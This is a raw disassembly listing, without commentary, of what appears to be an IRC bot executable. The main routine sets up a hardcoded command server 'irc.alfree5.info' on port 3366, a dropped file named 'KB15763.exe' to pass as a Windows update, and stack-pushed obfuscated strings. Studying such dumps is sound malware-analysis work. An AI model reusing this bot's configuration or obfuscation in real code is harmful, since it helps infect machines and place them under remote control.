; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_402185
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_402185
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_402185
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_43688A
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448CC6
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448CC6
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_12C		= byte ptr -12Ch
var_114		= byte ptr -114h
var_FC		= byte ptr -0FCh
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	ebx, 1Eh
		push	offset aIrc_alfree5_in ; "irc.alfree5.info"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a3366	; "3366"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset byte_446F20
		lea	ecx, [esp+360h+var_144]
		call	sub_401A87
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40200E
		push	offset byte_446F20
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A87
		push	offset dword_443850
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset dword_443848
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A87
		push	offset dword_443844
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aKb15763_exe ; "KB15763.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A87
		push	offset aSdfsadasda ; "sdfsadasda"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset dword_443820
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset dword_44381C
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset dword_443810
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A87
		push	offset dword_44380C
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset dword_4437FC
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	5
		push	16h
		push	9
		lea	ecx, [esp+3A4h+var_348]
		push	0Ch
		push	ecx
		call	sub_4019B5
		add	esp, 50h
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		mov	byte ptr [esp+3A4h+var_4], 28h
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		mov	byte ptr [esp+388h], 2Dh
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019B5
